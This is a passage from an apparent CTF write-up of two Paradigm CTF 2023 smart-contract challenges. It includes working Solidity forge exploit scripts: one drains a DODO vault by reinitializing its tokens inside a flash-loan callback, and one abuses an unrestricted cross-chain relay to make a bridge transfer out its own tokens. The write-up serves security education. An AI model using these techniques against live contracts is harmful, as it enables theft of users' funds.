(uint256 receiveQuoteAmount, uint256 mtFee) = querySellBase(tx.origin, baseInput);
require(uint256(_QUOTE_RESERVE_).sub(quoteBalance) <= receiveQuoteAmount, "FLASH_LOAN_FAILED");
_transferQuoteOut(_MAINTAINER_, mtFee);
emit DODOSwap(
address(_BASE_TOKEN_),
address(_QUOTE_TOKEN_),
baseInput,
receiveQuoteAmount,
msg.sender,
assetTo
);
}
_sync();
emit DODOFlashLoan(msg.sender, assetTo, baseAmount, quoteAmount);
}
With this vulnerability, we can set the base and quote tokens for any tokens while the flashloan callback is executed. This will result in us draining all base and quote tokens from the contract and then returning another base and quote token to the platform instead. We implement our assumption into the forge script as follows:
DodontSolver.s.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.2 <0.9.0;
import "forge-std/Script.sol";
import "../src/Challenge.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract DodontSolver is Script {
function run() external {
uint256 playerPrivateKey = vm.envUint("PLAYER");
address challengeAddress = vm.envAddress("CHALLENGE");
Challenge challenge = Challenge(challengeAddress);
DVMLike dvm = DVMLike(challenge.dvm());
vm.startBroadcast(playerPrivateKey);
uint256 baseBalance = dvm._BASE_TOKEN_().balanceOf(address(dvm));
uint256 quoteBalance = dvm._QUOTE_TOKEN_().balanceOf(address(dvm));
console.log("baseBalance:", baseBalance);
console.log("quoteBalance:", quoteBalance);
DodoExp dodoExp = new DodoExp();
dvm.flashLoan(baseBalance, quoteBalance, address(dodoExp), "hack");
console.log("isSolved: ", challenge.isSolved());
vm.stopBroadcast();
}
}
contract DodoExp {
function DVMFlashLoanCall(
address sender,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external {
DummyToken baseDum = new DummyToken(msg.sender, baseAmount);
DummyToken quoteDum = new DummyToken(msg.sender, quoteAmount);
DVMLike(msg.sender).init(
address(0),
address(baseDum),
address(quoteDum),
3000000000000000,
address(0x5e84190a270333aCe5B9202a3F4ceBf11b81bB01),
1,
1000000000000000000,
false
);
}
}
contract DummyToken is ERC20 {
constructor(address to, uint256 amount) ERC20("Dummy Token", "DT") {
_mint(to, amount);
}
}
interface DVMLike {
function _BASE_TOKEN_() external returns(ERC20);
function _QUOTE_TOKEN_() external returns(ERC20);
function init(
address maintainer,
address baseTokenAddress,
address quoteTokenAddress,
uint256 lpFeeRate,
address mtFeeRateModel,
uint256 i,
uint256 k,
bool isOpenTWAP
) external;
function buyShares(address) external;
function flashLoan(
uint256 baseAmount,
uint256 quoteAmount,
address assetTo,
bytes calldata data
) external;
}
CHALLENGE: ENTERPRISE BLOCKCHAIN
AUTHOR: ChainLight
TAGS: pwn
DESCRIPTION: Smart Contract Solutions is proud to introduce the only Enterprise Blockchain that you’ll ever need
This challenge has bridge contracts deployed on two chains (L1, L2), which provide token bridge and cross-chain function calls. The objective of this challenge is to drain all ERC20 from the L1 bridge contract.
Normally, the token will be transferred out only when the ERC20In()
function is called by the cross-chain bridge.
Bridge.sol
modifier onlyRemoteBridge() {
require(
msg.sender == address(this) && relayedMessageSenderChainId != 0
&& remoteBridgeChainId[relayedMessageSenderAddress] == relayedMessageSenderChainId,
"RB"
);
_;
}
function ERC20In(address _token, address _to, uint256 _amount) external payable onlyRemoteBridge {
emit ERC20_transfer(_token, _to, _amount);
if (remoteTokenToLocalToken[_token] != address(0)) {
BridgedERC20(remoteTokenToLocalToken[_token]).mint(_to, _amount);
} else {
require(IERC20(_token).transfer(_to, _amount), "T");
}
}
In the cross-chain function call, the sendRemoteMessage()
can be called by anyone to any desination address, and then the relayMessage()
on the other chain will call the desination contract as desired.
This includes the bridge itself, which means the attacker can utilize this to make another bridge address call to ERC20 to transfer the token in the bridge contract.
We can solve this by send cross-chain transfer call from L2 to L1 contract with the following script:
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.2 <0.9.0;
import "forge-std/Script.sol";
import "../src/Challenge.sol";
import "../src/bridge/Bridge.sol";
import "../src/bridge/BridgedERC20.sol";
contract EnterpriseBlockchainSolver is Script {
function run() external {
uint256 playerPrivateKey = vm.envUint("PLAYER");
address challengeAddress = vm.envAddress("CHALLENGE");
Challenge challenge = Challenge(challengeAddress);
address bridgeAddr = address(0x56694ca20Edfb23cEEa39cEFCf70b25EAababdC0);
address flagTokenAddr = address(0x171Ee3Fa356A28bb3Eec0E7E711D45e8761D951E);
Bridge bridge = Bridge(payable(bridgeAddr));
vm.startBroadcast(playerPrivateKey);
// call L2 > L1
bridge.sendRemoteMessage(
78704, flagTokenAddr, abi.encodeWithSelector(ERC20.transfer.selector, address(0xdead), 11 ether)
);
vm.stopBroadcast();
}
}
Hop over to 'Paradigm CTF 2023 Writeup 2/2 ' for more details
Since the release of our new Smart Contract Security Testing Guide Checklist, we’ve also planned to release more plugins to detect the common issues from our security checklist to cover the whole checklist. The tools we will choose to implement are still a secret. For now, you can use our checklist and the built-in detectors and rules as a guide.